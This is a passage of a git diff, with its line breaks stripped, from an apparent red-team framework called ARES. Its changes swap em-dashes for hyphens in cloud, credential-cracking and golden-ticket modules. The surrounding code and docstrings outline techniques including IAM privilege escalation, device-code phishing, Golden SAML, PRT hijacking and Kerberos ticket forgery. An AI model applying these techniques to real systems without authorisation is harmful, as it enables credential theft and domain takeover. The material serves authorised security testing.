validate_params(self.PARAMS_MODEL, ctx.params, module_id=self.MODULE_ID)- # Categories that use API credentials instead of a target IP — skip target check+ # Categories that use API credentials instead of a target IP - skip target check_NO_TARGET_CATEGORIES = {"cloud", "reporting", "recon"}if getattr(self.__class__, "MODULE_CATEGORY", "") in _NO_TARGET_CATEGORIES:return@@ -260,13 +260,13 @@ class BaseModule(abc.ABC, Generic[P, R]):# Check target is setif not ctx.target:raise ModuleValidationError(- f"Module {self.MODULE_ID!r} requires 'target' — "+ f"Module {self.MODULE_ID!r} requires 'target' - ""set via params['target'], params['dc'], or params['host']",module_id=self.MODULE_ID,field="target",)- # Check REQUIRES list — each item must be present in params or context+ # Check REQUIRES list - each item must be present in params or contextrequires = getattr(self.__class__, "REQUIRES", [])if requires:raw_params = ctx.params.model_dump() if hasattr(ctx.params, "model_dump") else (ctx.params or {})@@ -323,7 +323,7 @@ class BaseModule(abc.ABC, Generic[P, R]):New modules should override execute() directly.Returns:- ModuleResult — structured result consumed by engine+ ModuleResult - structured result consumed by engine"""raw_params = getattr(ctx, "params", {})if hasattr(raw_params, "model_dump"):@@ -428,16 +428,16 @@ class BaseModule(abc.ABC, Generic[P, R]):Execute the module.Returns:- findings — list of Finding objects (unvalidated)- raw — raw output dict (evidence, debug info)+ findings - list of Finding objects (unvalidated)+ raw - raw output dict (evidence, debug info)Subclasses should override this method. The default implementationraises NotImplementedError to catch unimplemented modules at runtime."""- # Abstract method — enforced by abc.ABC inheritance on BaseModule.+ # Abstract method - enforced by abc.ABC inheritance on BaseModule.# Subclasses must override this. Using raise rather than @abstractmethod# here preserves Mypy compatibility with the dynamic MODULE_ID attribute.- raise NotImplementedError( # abstract — subclasses must implement run()+ raise NotImplementedError( # abstract - subclasses must implement run()f"Module '{self.MODULE_ID}' must implement run()")@@ -519,7 +519,7 @@ class BaseModule(abc.ABC, Generic[P, R]):if any(s in msg for s in ("rate limit", "too many requests", "429", "throttl")):return RateLimited(f"{self.MODULE_ID} rate limited: {exc}")- # Fallback — general network error (engine will retry)+ # Fallback - general network error (engine will retry)return NetworkError(f"{self.MODULE_ID} network error on {target}: {exc}")# ── Finding helper ─────────────────────────────────────────────────────@@ -628,7 +628,7 @@ class BaseModule(abc.ABC, Generic[P, R]):def _extract_ad_params(self, ctx: "Any") -> dict:"""Extract common AD module params from ExecutionContext.- Pulls dc, domain, username, password — trying vault first.+ Pulls dc, domain, username, password - trying vault first.Safe to call even when ctx is a bare namespace (test mode)."""cred = getattr(ctx, "best_credential", lambda: None)()@@ -675,7 +675,7 @@ class ModuleResult:error: str = ""module_id: str = ""execution_id: str = ""- # Outcome quality — 0.0=failed/empty, 0.5=partial, 1.0=full success+ # Outcome quality - 0.0=failed/empty, 0.5=partial, 1.0=full success# Enables accurate learning in OutcomeKnowledgeBase (not just status string)outcome_quality: float = -1.0 # -1.0 = not set by module (auto-computed)outcome_evidence: str = "" # e.g. "3 TGS tickets from corp.local"diff --git a/ares/modules/cloud/__init__.py b/ares/modules/cloud/__init__.pyindex 4543f5f..18e8f76 100644--- a/ares/modules/cloud/__init__.py+++ b/ares/modules/cloud/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.cloud+ARES - modules.cloudCloud attack modules (AWS, Azure, GCP)Note: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/cloud/aws.py b/ares/modules/cloud/aws.pyindex 6fe3855..6af76da 100644--- a/ares/modules/cloud/aws.py+++ b/ares/modules/cloud/aws.py@@ -1,4 +1,4 @@-"""AWS Recon — boto3 implementation. IAM, S3, Security Groups, IMDS. MITRE: T1526, T1530, T1552.005, T1580"""+"""AWS Recon - boto3 implementation. IAM, S3, Security Groups, IMDS. MITRE: T1526, T1530, T1552.005, T1580"""from __future__ import annotationsimport asynciofrom functools import partial@@ -32,7 +32,7 @@ SENSITIVE_PORTS = {22:"SSH",23:"Telnet",3389:"RDP",1433:"MSSQL",3306:"MySQL",)class AWSEnumModule(BaseModule):"""- cloud.aws — IAM enum, S3 misconfig, IMDS check, Security Group audit+ cloud.aws - IAM enum, S3 misconfig, IMDS check, Security Group auditOPSEC: LOWMITRE: "T1526","T1530","T1552.005","T1580"@@ -59,12 +59,12 @@ class AWSEnumModule(BaseModule):pdict = dict(params)else:pdict = {}- # Cloud modules need AWS credentials — check at least one method available+ # Cloud modules need AWS credentials - check at least one method availablehas_key = bool(pdict.get("access_key") or pdict.get("profile") or pdict.get("aws_profile"))has_env = bool(__import__("os").environ.get("AWS_ACCESS_KEY_ID"))if not has_key and not has_env:raise ModuleValidationError(- "cloud.aws requires AWS credentials — set access_key/aws_profile params "+ "cloud.aws requires AWS credentials - set access_key/aws_profile params ""or AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY environment variables.",module_id=self.MODULE_ID, field="access_key",)@@ -187,7 +187,7 @@ class AWSEnumModule(BaseModule):@trace_module("cloud.aws")async def run(self, profile=None, access_key=None, secret_key=None,session_token=None, region="us-east-1", **kwargs):- # Note: before_request() intentionally not called — cloud modules use+ # Note: before_request() intentionally not called - cloud modules use# API credentials, not host IPs. Scope check (CIDR) does not apply to# cloud API endpoints. Rate limiting and jitter are handled at the API call level.logger.info("aws_recon_start", region=region)@@ -337,11 +337,11 @@ class AWSEnumModule(BaseModule):severity=Severity.HIGH,mitre_technique="T1046",mitre_tactic="Discovery",evidence={"rules":open_sgs[:10]},remediation="Restrict ingress. Use VPN or SSM Session Manager.")if imds.get("imdsv1_available"):- self.finding(title="IMDSv1 Available — SSRF → Credential Theft",+ self.finding(title="IMDSv1 Available - SSRF → Credential Theft",description="EC2 IMDSv1 accessible without token. SSRF can extract IAM credentials.",severity=Severity.HIGH,mitre_technique="T1552.005",mitre_tactic="Credential Access",evidence={"roles":imds.get("credential_roles",[])},remediation="Require IMDSv2: aws ec2 modify-instance-metadata-options --http-tokens required.")-# Backward-compat alias — was AWSModule before v3.0.1+# Backward-compat alias - was AWSModule before v3.0.1AWSModule = AWSEnumModule # noqadiff --git a/ares/modules/cloud/aws_privesc.py b/ares/modules/cloud/aws_privesc.pyindex 98f98a2..5027240 100644--- a/ares/modules/cloud/aws_privesc.py+++ b/ares/modules/cloud/aws_privesc.py@@ -43,7 +43,7 @@ _PRIVESC_ACTIONS: list[tuple[str, str, str]] = [("iam:PutUserPolicy", "Create inline admin policy on self", "T1548"),("iam:AddUserToGroup", "Add self to privileged group", "T1078"),("iam:PassRole", "Pass privileged role to compute service", "T1548"),- ("sts:AssumeRole", "Assume another role — check trust policy", "T1550.001"),+ ("sts:AssumeRole", "Assume another role - check trust policy", "T1550.001"),("lambda:CreateFunction", "Create Lambda with privileged execution role", "T1648"),("ec2:RunInstances", "Launch EC2 with privileged instance profile", "T1578.002"),("cloudformation:CreateStack", "Deploy stack with privileged service role", "T1578"),@@ -61,7 +61,7 @@ _PRIVESC_ACTIONS: list[tuple[str, str, str]] = [)class AWSPrivescModule(BaseModule):"""- cloud.aws_privesc — Enumerate current IAM permissions and identify privilege escalation paths — PassRole abuse, Assu+ cloud.aws_privesc - Enumerate current IAM permissions and identify privilege escalation paths - PassRole abuse, AssuOPSEC: LOWMITRE: "T1078.004", "T1548", "T1098"@@ -71,7 +71,7 @@ class AWSPrivescModule(BaseModule):MODULE_NAME = "AWS IAM Privilege Escalation"MODULE_CATEGORY = "cloud"MODULE_DESCRIPTION = (- "Enumerate current IAM permissions and identify privilege escalation paths — "+ "Enumerate current IAM permissions and identify privilege escalation paths - ""PassRole abuse, AssumeRole, policy manipulation techniques")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -101,7 +101,7 @@ class AWSPrivescModule(BaseModule):__import__("os").environ.get("AWS_ACCESS_KEY_ID"))if not has_key:raise ModuleValidationError(- "cloud.aws_privesc requires AWS credentials — set access_key/aws_access_key param "+ "cloud.aws_privesc requires AWS credentials - set access_key/aws_access_key param ""or AWS_ACCESS_KEY_ID environment variable.",module_id=self.MODULE_ID, field="access_key",)@@ -224,7 +224,7 @@ class AWSPrivescModule(BaseModule):@trace_module("cloud.aws_privesc")async def run(self, **kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:- # Note: before_request() intentionally not called — cloud modules use+ # Note: before_request() intentionally not called - cloud modules use# API credentials, not host IPs. Scope check (CIDR) does not apply to# cloud API endpoints. Rate limiting and jitter are handled at the API call level.access_key = kwargs.get("aws_access_key") or kwargs.get("access_key", "")@@ -239,7 +239,7 @@ class AWSPrivescModule(BaseModule):try:import boto3 # type: ignore[import]except ImportError:- return [], {"error": "boto3 not installed — pip install ares-redteam[cloud]"}+ return [], {"error": "boto3 not installed - pip install ares-redteam[cloud]"}logger.info("aws_privesc_check_start")await self.noise.rate_limiter.acquire("cloud_api")diff --git a/ares/modules/cloud/azure.py b/ares/modules/cloud/azure.pyindex b9c3664..8c5d0f5 100644--- a/ares/modules/cloud/azure.py+++ b/ares/modules/cloud/azure.py@@ -1,10 +1,10 @@"""-Azure Recon & Attack Module — Production Implementation+Azure Recon & Attack Module - Production ImplementationAAD users, storage misconfig, RBAC over-permission, NSG rules.Authentication (automatic priority order):- 1. ClientSecretCredential — if tenant_id + client_id + client_secret supplied- 2. DefaultAzureCredential — env vars / managed identity / Azure CLI / VS Code+ 1. ClientSecretCredential - if tenant_id + client_id + client_secret supplied+ 2. DefaultAzureCredential - env vars / managed identity / Azure CLI / VS CodeRequired optional extras:pip install ares-redteam[cloud]@@ -56,7 +56,7 @@ def _get_credential(tenant_id=None, client_id=None, client_secret=None):)class AzureModule(BaseModule):"""- cloud.azure — AAD enum, storage misconfig, RBAC audit, NSG rules+ cloud.azure - AAD enum, storage misconfig, RBAC audit, NSG rulesOPSEC: LOWMITRE: "T1526", "T1530", "T1580", "T1078.004"@@ -92,7 +92,7 @@ class AzureModule(BaseModule):__import__("os").environ.get("AZURE_CLIENT_ID"))if not has_cred:raise ModuleValidationError(- "cloud.azure requires Azure credentials — set subscription_id or "+ "cloud.azure requires Azure credentials - set subscription_id or ""AZURE_CLIENT_ID/AZURE_CLIENT_SECRET/AZURE_TENANT_ID env vars.",module_id=self.MODULE_ID, field="subscription_id",)@@ -208,7 +208,7 @@ class AzureModule(BaseModule):async def run(self, subscription_id: str, tenant_id: str | None = None,client_id: str | None = None, client_secret: str | None = None,**kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:- # Note: before_request() intentionally not called — cloud modules use+ # Note: before_request() intentionally not called - cloud modules use# API credentials, not host IPs. Scope check (CIDR) does not apply to# cloud API endpoints. Rate limiting and jitter are handled at the API call level.logger.info("azure_recon_start", subscription_id=subscription_id[:8] + "...")diff --git a/ares/modules/cloud/azure_ad.py b/ares/modules/cloud/azure_ad.pyindex b3ffd7e..1016732 100644--- a/ares/modules/cloud/azure_ad.py+++ b/ares/modules/cloud/azure_ad.py@@ -1,19 +1,19 @@"""-Azure AD / Entra ID Identity Attacks — cloud.azure_ad-MITRE: T1528 — Steal Application Access Token- T1606 — Forge Web Credentials+Azure AD / Entra ID Identity Attacks - cloud.azure_ad+MITRE: T1528 - Steal Application Access Token+ T1606 - Forge Web CredentialsAzure AD identity attack techniques not covered by cloud.azure (resource enum):- 1. Device code flow phishing — request device code, poll for user auth- 2. Service principal credential exposure — SP secrets visible to overprivileged apps- 3. Guest account enumeration — external identities that may have excessive access- 4. Seamless SSO silver ticket — Kerberos ticket for AZUREADSSOACC$ machine account+ 1. Device code flow phishing - request device code, poll for user auth+ 2. Service principal credential exposure - SP secrets visible to overprivileged apps+ 3. Guest account enumeration - external identities that may have excessive access+ 4. Seamless SSO silver ticket - Kerberos ticket for AZUREADSSOACC$ machine account5. PRT (Primary Refresh Token) detection pathscloud.azure (existing) handles resource enumeration.cloud.azure_ad handles identity-specific attacks.-OPSEC: LOW to MEDIUM — token-based auth, not credential spray.+OPSEC: LOW to MEDIUM - token-based auth, not credential spray.Device code flow: legitimate OAuth2 flow, not blocked by CA policies.Does not trigger sign-in risk if using valid PRT.@@ -65,7 +65,7 @@ _ENUM_SCOPES = [)class AzureADModule(BaseModule):"""- cloud.azure_ad — Azure AD / Entra ID identity attack techniques: device code flow, service principal exposure.+ cloud.azure_ad - Azure AD / Entra ID identity attack techniques: device code flow, service principal exposure.OPSEC: LOWMITRE: "T1528", "T1606"@@ -102,7 +102,7 @@ class AzureADModule(BaseModule):tenant_id = pdict.get("tenant_id", "")if not tenant_id:raise ModuleValidationError(- "cloud.azure_ad requires 'tenant_id' — Azure AD tenant ID (UUID). "+ "cloud.azure_ad requires 'tenant_id' - Azure AD tenant ID (UUID). ""Find via: az account show --query tenantId",module_id=self.MODULE_ID, field="tenant_id",)@@ -228,7 +228,7 @@ class AzureADModule(BaseModule):@trace_module("cloud.azure_ad")async def run(self, tenant_id: str, client_id: str = "", client_secret: str = "",access_token: str = "", technique: str = "enumerate", **kwargs: Any):- # Note: before_request() intentionally not called — cloud modules use+ # Note: before_request() intentionally not called - cloud modules use# API credentials, not host IPs. Scope check (CIDR) does not apply to# cloud API endpoints. Rate limiting and jitter are handled at the API call level.logger.info("azure_ad_start", tenant=tenant_id[:8] + "...", technique=technique)@@ -402,7 +402,7 @@ class AzureADModule(BaseModule):"message": flow.get("message"),}except ImportError:- return {"error": "msal not installed — pip install ares-redteam[cloud]"}+ return {"error": "msal not installed - pip install ares-redteam[cloud]"}except Exception as exc:return {"error": str(exc)[:150]}diff --git a/ares/modules/cloud/gcp.py b/ares/modules/cloud/gcp.pyindex d4a4cb2..e8be12b 100644--- a/ares/modules/cloud/gcp.py+++ b/ares/modules/cloud/gcp.py@@ -1,10 +1,10 @@"""-GCP Recon & Attack Module — Production Implementation+GCP Recon & Attack Module - Production ImplementationIAM bindings, GCS buckets, service account keys, metadata server.Authentication (automatic priority order):- 1. Service account key file — if credentials_file supplied- 2. Application Default Credentials (ADC) — env GOOGLE_APPLICATION_CREDENTIALS,+ 1. Service account key file - if credentials_file supplied+ 2. Application Default Credentials (ADC) - env GOOGLE_APPLICATION_CREDENTIALS,gcloud auth, Workload Identity, or Compute Engine metadata serverRequired API permissions (read-only):@@ -47,7 +47,7 @@ _PUBLIC_MEMBERS = frozenset({"allUsers", "allAuthenticatedUsers"})def _get_gcp_credentials(credentials_file: str | None = None) -> "Any":- """Return Google credentials — file or ADC."""+ """Return Google credentials - file or ADC."""if credentials_file:from google.oauth2 import service_account # type: ignore[import]return service_account.Credentials.from_service_account_file(@@ -71,7 +71,7 @@ def _get_gcp_credentials(credentials_file: str | None = None) -> "Any":)class GCPModule(BaseModule):"""- cloud.gcp — IAM bindings, GCS misconfig, SA key audit, metadata server+ cloud.gcp - IAM bindings, GCS misconfig, SA key audit, metadata serverOPSEC: LOWMITRE: "T1526", "T1530", "T1552.005", "T1580"@@ -107,7 +107,7 @@ class GCPModule(BaseModule):__import__("os").environ.get("GOOGLE_APPLICATION_CREDENTIALS"))if not has_cred:raise ModuleValidationError(- "cloud.gcp requires GCP credentials — set project_id param or "+ "cloud.gcp requires GCP credentials - set project_id param or ""GOOGLE_APPLICATION_CREDENTIALS environment variable.",module_id=self.MODULE_ID, field="project_id",)@@ -214,7 +214,7 @@ class GCPModule(BaseModule):@trace_module("cloud.gcp")async def run(self, project_id: str, credentials_file: str | None = None,**kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:- # Note: before_request() intentionally not called — cloud modules use+ # Note: before_request() intentionally not called - cloud modules use# API credentials, not host IPs. Scope check (CIDR) does not apply to# cloud API endpoints. Rate limiting and jitter are handled at the API call level.logger.info("gcp_recon_start", project_id=project_id)@@ -254,7 +254,7 @@ class GCPModule(BaseModule):def _check_iam_bindings(self, credentials: Any, project_id: str) -> dict[str, Any]:"""Get project IAM policy via Google Cloud Resource Manager SDK.- Fixed: was using requests.post directly — replaced with SDK that handles+ Fixed: was using requests.post directly - replaced with SDK that handlesauth refresh automatically and is the supported stable API."""try:@@ -475,7 +475,7 @@ class GCPModule(BaseModule):old_keys: list[dict[str, Any]] = []many_keys: list[dict[str, Any]] = [] # SAs with >2 active keys- # List ALL service accounts — paginate until nextPageToken is absent+ # List ALL service accounts - paginate until nextPageToken is absentservice_accounts: list[dict] = []page_token: str | None = Nonewhile True:@@ -501,7 +501,7 @@ class GCPModule(BaseModule):sa_email = sa.get("email", "")sa_name = sa.get("name", "")- # List keys — only USER_MANAGED type (system-managed keys auto-rotate)+ # List keys - only USER_MANAGED type (system-managed keys auto-rotate)try:keys_resp = session.get(f"https://iam.googleapis.com/v1/{sa_name}/keys",@@ -616,7 +616,7 @@ class GCPModule(BaseModule):sa_list = []self.finding(- title="GCE Metadata Server Accessible — SSRF → Credential Theft",+ title="GCE Metadata Server Accessible - SSRF → Credential Theft",description=("The GCE metadata server (169.254.169.254) is reachable from this context. ""SSRF vulnerabilities in any application running here can steal service "@@ -641,7 +641,7 @@ class GCPModule(BaseModule):)return {"accessible": True, "service_accounts": sa_list}except httpx.ConnectError:- # Expected — not running on GCE or metadata blocked+ # Expected - not running on GCE or metadata blockedpassexcept Exception as exc:logger.debug("gcp_metadata_check_failed", error=str(exc)[:80])diff --git a/ares/modules/cloud/identity_federation.py b/ares/modules/cloud/identity_federation.pyindex 4efd83b..646495e 100644--- a/ares/modules/cloud/identity_federation.py+++ b/ares/modules/cloud/identity_federation.py@@ -1,11 +1,11 @@"""-cloud.identity_federation_abuse — Cross-Cloud Identity Federation Abuse+cloud.identity_federation_abuse - Cross-Cloud Identity Federation AbuseEnumerates and abuses federated identity trust relationships betweencloud providers and on-premises Active Directory.Attack scenarios:- 1. Golden SAML — forge SAML assertion after AD krbtgt/ADFS private key compromise+ 1. Golden SAML - forge SAML assertion after AD krbtgt/ADFS private key compromise2. Azure AD → AWS via federated identity (SAML assertion abuse)3. Google Workspace → GCP service accounts (OIDC token forging)4. Cross-tenant OAuth2 token abuse (Business Email Compromise chain)@@ -15,12 +15,12 @@ Requires: AD or cloud credentials obtained from prior compromise.Best used after: ad.dcsync, cloud.azure, cloud.awsMITRE:- T1606.002 — SAML Tokens (Golden SAML)- T1528 — Steal Application Access Token- T1550.001 — Use Alternate Authentication Material: Application Access Token- T1484.002 — Domain Trust Modification: Trust Modification+ T1606.002 - SAML Tokens (Golden SAML)+ T1528 - Steal Application Access Token+ T1550.001 - Use Alternate Authentication Material: Application Access Token+ T1484.002 - Domain Trust Modification: Trust Modification-OPSEC: MEDIUM — queries Azure/AWS APIs (low noise) but SAML forgery is high risk+OPSEC: MEDIUM - queries Azure/AWS APIs (low noise) but SAML forgery is high risk"""from __future__ import annotations@@ -60,7 +60,7 @@ logger = get_logger("ares.modules.cloud.identity_federation"))class CloudIdentityFederationModule(BaseModule):"""- cloud.identity_federation_abuse — Cross-cloud identity federation enumeration and abuse.+ cloud.identity_federation_abuse - Cross-cloud identity federation enumeration and abuse.OPSEC: MEDIUMMITRE: T1606.002, T1528, T1550.001, T1484.002@@ -261,7 +261,7 @@ class CloudIdentityFederationModule(BaseModule):**kwargs: Any,) -> tuple[list[Finding], dict[str, Any]]:"""- Note: before_request() not called — cloud modules use API creds, not host IPs.+ Note: before_request() not called - cloud modules use API creds, not host IPs.Scope/jitter checks do not apply to cloud API endpoints."""audit("cloud_federation_abuse", actor="operator",@@ -439,7 +439,7 @@ class CloudIdentityFederationModule(BaseModule):result["graph_enum_error"] = str(e)[:150]except ImportError:- result["error"] = "httpx not installed — pip install httpx"+ result["error"] = "httpx not installed - pip install httpx"except Exception as e:result["error"] = str(e)[:200]@@ -496,7 +496,7 @@ class CloudIdentityFederationModule(BaseModule):result["roles_error"] = str(e)[:100]except ImportError:- result["error"] = "boto3 not installed — pip install ares-redteam[cloud]"+ result["error"] = "boto3 not installed - pip install ares-redteam[cloud]"except Exception as e:result["error"] = str(e)[:200]@@ -862,11 +862,11 @@ class CloudIdentityFederationModule(BaseModule):"provider": _DANGEROUS_ISSUERS[issuer],"issuer": issuer,"unrestricted": is_unrestricted,- "condition": cond or "(none — unrestricted)",+ "condition": cond or "(none - unrestricted)","attack": (f"{_DANGEROUS_ISSUERS[issuer]} can impersonate "f"service accounts in project {project_id}"- + (" — NO repo/org filter!" if is_unrestricted else "")+ + (" - NO repo/org filter!" if is_unrestricted else "")),"risk": risk_label,})@@ -998,13 +998,13 @@ class CloudIdentityFederationModule(BaseModule):if adfs.get("federation_metadata_found"):rps = adfs.get("relying_parties", [])self.finding(- title=f"ADFS Federation Metadata Found — {len(rps)} Relying Parties",+ title=f"ADFS Federation Metadata Found - {len(rps)} Relying Parties",description=(f"Active ADFS deployment detected at {adfs.get('adfs_url', 'unknown')}. "f"Federation metadata accessible with {len(rps)} relying parties. ""Golden SAML attack is viable after obtaining the ADFS token signing certificate. ""This allows forging SAML assertions for any federated service "- "without knowing user passwords — and does NOT trigger AD authentication logs."+ "without knowing user passwords - and does NOT trigger AD authentication logs."),severity=Severity.CRITICAL,mitre_technique="T1606.002",@@ -1015,7 +1015,7 @@ class CloudIdentityFederationModule(BaseModule):"endpoints_found": [e for e in adfs.get("endpoints", []) if e.get("active")],},remediation=(- "1. Restrict access to ADFS server — only Domain Controllers should reach it. "+ "1. Restrict access to ADFS server - only Domain Controllers should reach it. ""2. Enable ADFS Extranet Lockout. ""3. Monitor for ADFS token signing certificate export. ""4. Consider migrating to Azure AD Managed domains (no ADFS)."@@ -1028,7 +1028,7 @@ class CloudIdentityFederationModule(BaseModule):saml_sps = azure.get("saml_service_principals", [])if saml_sps:self.finding(- title=f"Azure AD SAML Applications — {len(saml_sps)} Apps with SSO",+ title=f"Azure AD SAML Applications - {len(saml_sps)} Apps with SSO",description=(f"Found {len(saml_sps)} Azure AD applications configured with SAML SSO. ""A compromised Global Admin or Application Admin can modify SAML configurations "@@ -1051,7 +1051,7 @@ class CloudIdentityFederationModule(BaseModule):fed_roles = aws.get("federated_roles", [])if fed_roles:self.finding(- title=f"AWS SAML Federated Roles — {len(fed_roles)} Roles Assuming via Federation",+ title=f"AWS SAML Federated Roles - {len(fed_roles)} Roles Assuming via Federation",description=(f"Found {len(fed_roles)} AWS IAM roles that trust SAML federation. ""If the SAML identity provider is compromised, an attacker can assume "@@ -1063,7 +1063,7 @@ class CloudIdentityFederationModule(BaseModule):evidence={"federated_roles": [r["role_name"] for r in fed_roles[:15]]},remediation=("Review trust policies for all federated roles. "- "Apply least-privilege — federated roles should not have Admin permissions. "+ "Apply least-privilege - federated roles should not have Admin permissions. ""Enable AWS CloudTrail and alert on AssumeRoleWithSAML events."),host="aws",@@ -1098,7 +1098,7 @@ class CloudIdentityFederationModule(BaseModule):title=f"B2B Cross-Tenant Attack Surface: {len(guests)} Guest Accounts",description=(f"Found {len(guests)} B2B guest accounts in this tenant. "- "Each guest represents a potential pivot point — if their home tenant "+ "Each guest represents a potential pivot point - if their home tenant ""is compromised, an attacker can use their guest credentials to access ""this tenant's resources. This is the Midnight Blizzard attack vector ""(Microsoft breach 2024)."@@ -1131,7 +1131,7 @@ class CloudIdentityFederationModule(BaseModule):f"{len(mi_data.get('system_assigned',[]))} system-assigned and "f"{len(mi_data.get('user_assigned',[]))} user-assigned Managed Identities found. "f"{len(hvp)} with high-privilege roles (Owner/Contributor/Key Vault). "- "This is a zero-credential attack path — no password needed. "+ "This is a zero-credential attack path - no password needed. ""A compromised VM with MI can directly access Key Vault secrets, ""Storage blobs, or perform administrative actions."),diff --git a/ares/modules/cloud/phantom_token.py b/ares/modules/cloud/phantom_token.pyindex 77bfc3c..ee62163 100644--- a/ares/modules/cloud/phantom_token.py+++ b/ares/modules/cloud/phantom_token.py@@ -1,8 +1,8 @@"""-cloud.phantom_token — Hybrid Entra ID & Primary Refresh Token (PRT) Hijack+cloud.phantom_token - Hybrid Entra ID & Primary Refresh Token (PRT) HijackMITRE ATT&CK:- T1528 — Steal Application Access Token- T1606 — Forge Web Credentials+ T1528 - Steal Application Access Token+ T1606 - Forge Web CredentialsAutonomous adversary emulation vector for hybrid cloud environments:1. Inspects Windows endpoint session artifacts for Primary Refresh Token (PRT) state.@@ -48,7 +48,7 @@ logger = get_logger("ares.modules.cloud.phantom_token"))class PhantomTokenModule(BaseModule[PhantomTokenParams, ModuleResult]):"""- cloud.phantom_token — Hybrid Entra ID PRT extraction and cross-boundary session takeover.+ cloud.phantom_token - Hybrid Entra ID PRT extraction and cross-boundary session takeover."""MODULE_ID = "cloud.phantom_token"MODULE_NAME = "Hybrid Entra ID PRT Hijack"diff --git a/ares/modules/credential/__init__.py b/ares/modules/credential/__init__.pyindex d264ba1..58061cb 100644--- a/ares/modules/credential/__init__.py+++ b/ares/modules/credential/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.credential+ARES - modules.credentialCredential access and cracking modulesNote: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/credential/crack.py b/ares/modules/credential/crack.pyindex 1da4ea2..65ddadb 100644--- a/ares/modules/credential/crack.py+++ b/ares/modules/credential/crack.py@@ -1,12 +1,12 @@"""-Hash Cracking Interface — credential.crack-MITRE: T1110.002 — Brute Force: Password Cracking+Hash Cracking Interface - credential.crack+MITRE: T1110.002 - Brute Force: Password CrackingThin wrapper around ares/credential/cracker.py (720 lines, fully implemented).Runs hashcat (GPU) or john (CPU fallback) against uncracked hashes in the vault.Cracked plaintext is encrypted and stored back to vault via vault.mark_cracked().-OPSEC: LOCAL — cracking happens entirely on the operator machine.+OPSEC: LOCAL - cracking happens entirely on the operator machine.Zero network traffic to target. Not included in campaign noise budget.Hash types supported (hashcat modes):@@ -73,7 +73,7 @@ _CRACK_PRIORITY: dict[str, int] = {)class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):"""- credential.crack — "Crack hashes in CredentialVault using hashcat (GPU+ credential.crack - "Crack hashes in CredentialVault using hashcat (GPUOPSEC: LOCALMITRE: "T1110.002"@@ -87,7 +87,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):"Crack hashes in CredentialVault using hashcat (GPU) or john (CPU fallback). ""Cracked plaintext is stored back to vault, immediately available for reuse.")- OPSEC_LEVEL = OpsecLevel.LOCAL # local only — zero network traffic+ OPSEC_LEVEL = OpsecLevel.LOCAL # local only - zero network trafficREQUIRES = ["vault"]OUTPUTS = ["cracked_credentials"]MITRE_TECHNIQUES = ["T1110.002"]@@ -104,7 +104,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):vault = getattr(ctx, "vault", None)if not vault:raise ModuleValidationError(- "credential.crack requires a CredentialVault — "+ "credential.crack requires a CredentialVault - ""run ad.kerberoast, ad.asreproast, or ad.dcsync first.",module_id=self.MODULE_ID, field="vault",)@@ -217,7 +217,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):@trace_module("credential.crack")async def run(self, vault: "Any" = None, timeout_s: int = 3600,use_gpu: bool = True, wordlist: str = "", **kwargs: Any):- # Note: before_request() intentionally not called — credential.crack is+ # Note: before_request() intentionally not called - credential.crack is# OpsecLevel.LOCAL (offline hash cracking, no network calls).# Scope, jitter, and rate-limit checks apply only to network-facing operations.from ares.credential.cracker import CrackingWorker, CrackingQueue, CrackJob, CrackStatus@@ -301,7 +301,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):logger.info("crack_complete",cracked=len(cracked), failed=len(failed), skipped=len(skipped))- # Generate findings — one per cracked credential (no plaintext in finding)+ # Generate findings - one per cracked credential (no plaintext in finding)if cracked:usernames = [r.username for r in cracked if r.username]self.finding(@@ -309,7 +309,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):description = (f"Successfully cracked {len(cracked)} of {len(results)} hashes "f"using {cracked[0].tool_used if cracked else 'hashcat/john'}. "- "Plaintext credentials stored in vault — "+ "Plaintext credentials stored in vault - ""immediately available for credential.reuse and lateral movement."),severity = Severity.CRITICAL,@@ -327,7 +327,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):remediation = ("Enforce strong password policy (min 15 chars, complexity). ""Migrate Kerberos service accounts to gMSA (auto-rotating, "- "240-char random passwords — uncrackable). "+ "240-char random passwords - uncrackable). ""Enable AES-256 Kerberos encryption, disable RC4."),)diff --git a/ares/modules/credential/golden_ticket.py b/ares/modules/credential/golden_ticket.pyindex 1aa810b..dccbbf9 100644--- a/ares/modules/credential/golden_ticket.py+++ b/ares/modules/credential/golden_ticket.py@@ -44,7 +44,7 @@ logger = get_logger("ares.modules.credential.golden_ticket"))class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):"""- credential.golden_ticket — Forge a Kerberos TGT using the krbtgt hash — provides persistent domain access that survives pas+ credential.golden_ticket - Forge a Kerberos TGT using the krbtgt hash - provides persistent domain access that survives pasOPSEC: MEDIUMMITRE: "T1558.001"@@ -55,7 +55,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):MODULE_NAME = "Golden Ticket Forgery"MODULE_CATEGORY = "credential"MODULE_DESCRIPTION = (- "Forge a Kerberos TGT using the krbtgt hash — "+ "Forge a Kerberos TGT using the krbtgt hash - ""provides persistent domain access that survives password resets")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -158,7 +158,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):)if not krbtgt_hash:raise ModuleValidationError(- "credential.golden_ticket requires 'krbtgt_hash' — "+ "credential.golden_ticket requires 'krbtgt_hash' - ""obtain from ad.dcsync output. Format: NT (32 hex) or LM:NT.",module_id=self.MODULE_ID, field="krbtgt_hash",)@@ -171,7 +171,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):)if not domain_sid:raise ModuleValidationError(- "credential.golden_ticket requires 'domain_sid' — "+ "credential.golden_ticket requires 'domain_sid' - ""obtain from ad.dcsync or 'Get-ADDomain | Select-Object DomainSID'. ""Format: 